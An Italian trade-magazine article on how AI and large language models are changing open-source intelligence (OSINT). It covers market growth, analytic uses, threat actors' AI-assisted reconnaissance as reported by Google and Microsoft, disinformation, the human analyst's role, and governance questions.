Secondo un’analisi peer-reviewed condotta da Riccardo Ghioni, Mariarosaria Taddeo e Luciano Floridi dell’Oxford Internet Institute, pubblicata sulla rivista AI & Society nel 2023, l’OSINT costituisce oggi tra l’80 e il 90 per cento di tutte le attività di intelligence condotte dalle forze dell’ordine e dai servizi di sicurezza in Occidente. Questo dato, già significativo, diventa ancora più rilevante se si considera che la mole di dati pubblicamente accessibili continua ad aumentare. L’analista umano, per quanto esperto, incontra un limite fisico invalicabile.

Il mercato globale dell’OSINT riflette questa centralità crescente: secondo Global Market Insights, il settore era valutato 12,7 miliardi di dollari nel 2025 e si prevede raggiunga i 133,6 miliardi entro il 2035, con un tasso di crescita annuo composto del 26,7%. Una traiettoria che segnala un’adozione sistematica, non più sperimentale, in governi, aziende e organizzazioni di sicurezza di tutto il mondo.

Con il calo del costo della potenza di calcolo e la sofisticazione crescente degli algoritmi, quantità sempre maggiori di dati possono essere acquisiti ed elaborati in tempo quasi reale. L’AI non sostituisce il ragionamento dell’analista: abbatte il collo di bottiglia che precede quel ragionamento, liberando risorse cognitive per le fasi a più alto valore aggiunto.

Cosa cambia con i modelli linguistici di grandi dimensioni

L’introduzione dei Large Language Model (LLM) nella toolchain OSINT ha segnato un salto qualitativo rispetto alle generazioni precedenti di automazione. Non si tratta più soltanto di parser e crawler: i modelli linguistici possono leggere, riassumere, tradurre, correlare e suggerire percorsi di indagine su testi non strutturati provenienti da fonti eterogenee.

Lo Stimson Center, nel webinar del 26 marzo 2026 organizzato congiuntamente dallo Strategic Foresight Hub e dall’Energy, Water, and Sustainability Program, ha esaminato come i sistemi guidati dall’AI stiano trasformando la pratica OSINT allargandone le applicazioni attraverso sicurezza, governance e sviluppo sostenibile, analizzando in particolare le pipeline che alimentano modelli di analisi con dati da social media e immagini satellitari, e i sistemi di machine learning che classificano e mappano eventi globali in tempo reale.

Il contributo dei modelli linguistici si articola su più livelli. In fase di raccolta, automatizzano la strutturazione di dati grezzi eterogenei rendendoli immediatamente utilizzabili per analisi successive. In fase di verifica, permettono di confrontare più fonti simultaneamente, incrociare affermazioni e segnalare contraddizioni: un analista che indaga su un profilo sospetto può usare strumenti AI per confrontare nomi utente, biografie e attività in tempo reale, identificando istantaneamente le discrepanze. In fase di esplorazione, suggeriscono nuovi percorsi investigativi quando le piste sembrano esaurite.

La capacità multilingue merita un cenno a parte. L’OSINT operata su scala globale si scontra sistematicamente con la barriera linguistica: la maggior parte dei segnali di interesse non è in inglese. I modelli linguistici attuali trattano questa barriera come una variabile secondaria, non come un ostacolo strutturale. Per approfondire il ruolo dell’AI nella cybersecurity difensiva si rimanda agli approfondimenti della redazione.

Il lato oscuro: i threat actor e l’OSINT potenziata dall’AI

Ogni capacità difensiva ha la sua controparte offensiva. L’AI applicata all’OSINT non fa eccezione, e i dati disponibili nel 2026 disegnano un quadro preoccupante ma anche, almeno per ora, parzialmente rassicurante nelle sue proporzioni effettive.

Per gli attori sostenuti da governi, i modelli linguistici di grandi dimensioni sono diventati strumenti essenziali per la ricerca tecnica, la definizione dei target e la rapida generazione di contenuti di phishing sofisticati. Il report trimestrale di Google GTIG del 12 febbraio 2026 documenta come gruppi legati a Corea del Nord, Iran, Cina e Russia abbiano operazionalizzato l’AI nella seconda metà del 2025, coprendo attività di oltre 57 gruppi APT distinti provenienti da almeno sedici paesi.

Il meccanismo è preciso: i threat actor usano l’AI per accelerare la reconnaissance e trasformare informazioni pubblicamente disponibili in piani di attacco pronti all’uso. Invece di passare manualmente in rassegna siti web, profili social, dati di breach e tracce tecniche, possono usare strumenti AI per sintetizzare grandi volumi di OSINT in note di targeting operative.

Gli LLM possono servire come moltiplicatori strategici durante la fase di reconnaissance, consentendo agli attori malevoli di profilare rapidamente target ad alto valore, identificare i decisori chiave nei settori della difesa e mappare le gerarchie organizzative, passando dalla reconnaissance iniziale al targeting attivo con velocità e scala prima impossibili.

Una precisazione fondamentale è però indispensabile per leggere correttamente questo scenario: GTIG specifica chiaramente che i threat actor stanno sperimentando con l’AI ottenendo guadagni di produttività, ma non stanno ancora sviluppando capacità genuinamente nuove che alterino in modo fondamentale il panorama delle minacce. L’AI agisce come acceleratore della tradecraft esistente, non come generatore di capacità radicalmente diverse.

Il blog Microsoft Security del 6 marzo 2026 ha documentato una dinamica ulteriore: sebbene non ancora osservata su larga scala, la sperimentazione con sistemi di AI agentici segnala un potenziale cambiamento nella tradecraft, dove flussi di lavoro supportati dall’AI assistono sempre più il processo decisionale iterativo e l’esecuzione di compiti, indicando un adattamento più rapido e una maggiore resilienza nelle intrusioni future. In particolare, il gruppo nordcoreano Coral Sleet ha già sviluppato un flusso di lavoro completamente AI-assistito per la creazione di lure, il provisioning di infrastrutture e il testing di payload.

Il termine agentico merita una definizione precisa. A differenza dei modelli linguistici reattivi, i sistemi di AI agentici si basano sugli stessi modelli sottostanti ma sono integrati in flussi di lavoro che perseguono obiettivi nel tempo, pianificando passi, invocando strumenti, valutando risultati e adattando il comportamento senza continui interventi umani.

Ancora più recentemente, al RSAC 2026 di aprile, Microsoft ha presentato dati che mostrano come l’AI stia riducendo le frizioni lungo l’intero ciclo di vita dell’attacco, aiutando i threat actor a fare ricerche più velocemente, scrivere lure migliori, generare o effettuare il debug di malware e triagare i dati rubati. Rimane tuttavia ancora un operatore umano nel ciclo che controlla le campagne, senza AI pienamente autonoma o agentiva che gestisca gli attacchi in modo indipendente.

Il paradosso della disinformazione: l’AI come problema e come soluzione

Esiste una tensione profonda al cuore dell’AI-OSINT che merita di essere nominata esplicitamente. L’AI genera contenuti sintetici in quantità e qualità crescenti, rendendo la verifica dell’informazione sempre più difficile. Al tempo stesso, l’AI è lo strumento principale che abbiamo per operare quella verifica su scala.

Secondo Blackdot Solutions, la disinformazione generata dall’AI e i deepfake rendono più difficile che mai fidarsi di ciò che si vede online. Nel 2026, i professionisti OSINT si trovano ad affrontare un bisogno ancora maggiore di verificare l’autenticità delle informazioni, poiché gli attori malevoli usano strumenti avanzati per manipolare i media e creare identità false convincenti. Sarà cruciale per le organizzazioni assicurarsi che i propri analisti siano addestrati a riconoscere i contenuti generati dall’AI; in caso contrario, rischiano di facilitare involontariamente attività criminali.

La conseguenza pratica è che la catena di verifica dell’OSINT non può più appoggiarsi soltanto sull’analisi semantica del contenuto: deve includere l’analisi della provenienza, della coerenza interna, della contestualizzazione storica e del confronto con fonti primarie di natura diversa. La verifica delle informazioni sulla proprietà effettiva di aziende, per esempio, richiede di confrontare quanto emerge da fonti online con registri societari di fonte ufficiale.

Questo introduce un rischio di concentrazione: chi ha accesso alle fonti migliori e agli strumenti più affidabili costruisce un vantaggio informativo strutturale rispetto a chi ne è privo. La democratizzazione dell’OSINT resa possibile dall’AI porta con sé, paradossalmente, una nuova forma di asimmetria. Il tema si intreccia strettamente con quello della threat intelligence e disinformazione già affrontato sulle pagine di questa rivista.

L’elemento umano: insostituibile, non residuale

Di fronte all’accelerazione tecnologica, si genera spesso una retorica della sostituzione che merita di essere corretta con precisione. Nonostante i progressi tecnologici, il giudizio e l’esperienza umana continueranno a definire i processi OSINT di maggior successo. La migliore difesa contro l’attività criminale guidata dall’AI sarà la combinazione di automazione intelligente e investigatori qualificati, in grado di validare i risultati e garantire gli standard etici.

Il punto non è che gli analisti umani siano superiori ai sistemi AI nei task di elaborazione massiva: non lo sono, e fingere il contrario sarebbe controproducente. Il punto è che l’AI tende a ottimizzare per pattern già noti, mentre l’analista umano è capace di riconoscere l’anomalia che non ha precedenti, di costruire contestualizzazioni che richiedono comprensione culturale profonda, di prendere decisioni in condizioni di ambiguità radicale.

Affidarsi esclusivamente all’AI per la totalità di un’indagine è rischioso a causa delle tendenze alla distorsione e alle allucinazioni. L’esperienza umana rimane cruciale per l’analisi contestualizzata, la verifica e il processo decisionale etico. Bilanciare correttamente l’efficienza dell’AI con l’intuizione umana sarà la chiave del successo nel 2026 e negli anni a venire.

La metafora più utile non è quella della sostituzione ma quella dell’amplificazione: l’AI amplifica le capacità degli analisti preparati e amplifica i limiti di quelli non preparati. Investire nella formazione degli operatori diventa, in questo contesto, una priorità tanto strategica quanto l’investimento negli strumenti.

Verso l’OSINT agentiva: cosa ci aspetta

Il 2026 segna un punto di transizione, non un punto di arrivo. La traiettoria tecnologica indica chiaramente la direzione: sistemi OSINT sempre più autonomi, capaci di monitorare superfici informative in continuo, aggiornare modelli di rischio in tempo reale e produrre intelligence azionabile senza intervento umano nelle fasi di raccolta e prima elaborazione.

Strumenti come Taranis AI navigano attraverso diverse fonti di dati per raccogliere articoli non strutturati, utilizzano il Natural Language Processing e l’AI per migliorare la qualità del contenuto e supportano la condivisione collaborativa di threat intelligence tramite integrazione con MISP. Non si tratta di prototipi di laboratorio, ma di sistemi operativi open source che ridisegnano già oggi il flusso di lavoro degli analisti.

La dimensione etica e di governance non è accessoria a questa trasformazione, ne è parte costitutiva. La convergenza tra AI e OSINT solleva importanti preoccupazioni in termini di governo, implicazioni etiche, legali e sociali, con la necessità di supervisione crescente a fronte di strumenti di analisi sempre più avanzati che richiedono poca o nessuna supervisione continua. Domande come: chi è responsabile delle conclusioni prodotte da un sistema AI-OSINT? Come si gestisce il falso positivo che innesca un’azione operativa? Come si bilancia la capacità di raccolta con il rispetto della privacy degli individui non coinvolti in attività illecite? Queste domande non hanno ancora risposte consolidate, ma richiedono risposte urgenti.

Conclusione: lucidità senza ingenuità

L’AI-OSINT non è una moda tecnologica né una promessa lontana. È una realtà operativa che sta già ridisegnando le pratiche di intelligence, sicurezza e investigazione in tutto il mondo. La sfida per i professionisti della sicurezza non è decidere se adottarla, ma come farlo con lucidità.

Lucidità significa riconoscere le capacità reali senza sovrastimarle: l’AI non elimina l’errore, lo sposta e lo trasforma. Significa comprendere che ogni strumento che rafforza il difensore sta, potenzialmente, rafforzando anche l’offensore: la simmetria dell’accesso è una caratteristica strutturale delle tecnologie generative. Significa anche tenere a mente che, come confermano sia Google GTIG che Microsoft, l’AI agisce oggi come acceleratore della tradecraft esistente e non come generatore di capacità radicalmente nuove: un dato che non va sottovalutato, ma nemmeno usato per abbassare la guardia.

Chi si occupa di sicurezza sa già che il vantaggio non si costruisce su un singolo strumento, ma sulla capacità di integrare strumenti, metodi e giudizio critico in un sistema coerente. L’AI è uno strumento potente. Usarlo bene è, ancora, una questione umana.

https://www.ictsecuritymagazine.com/articoli/ai-osint/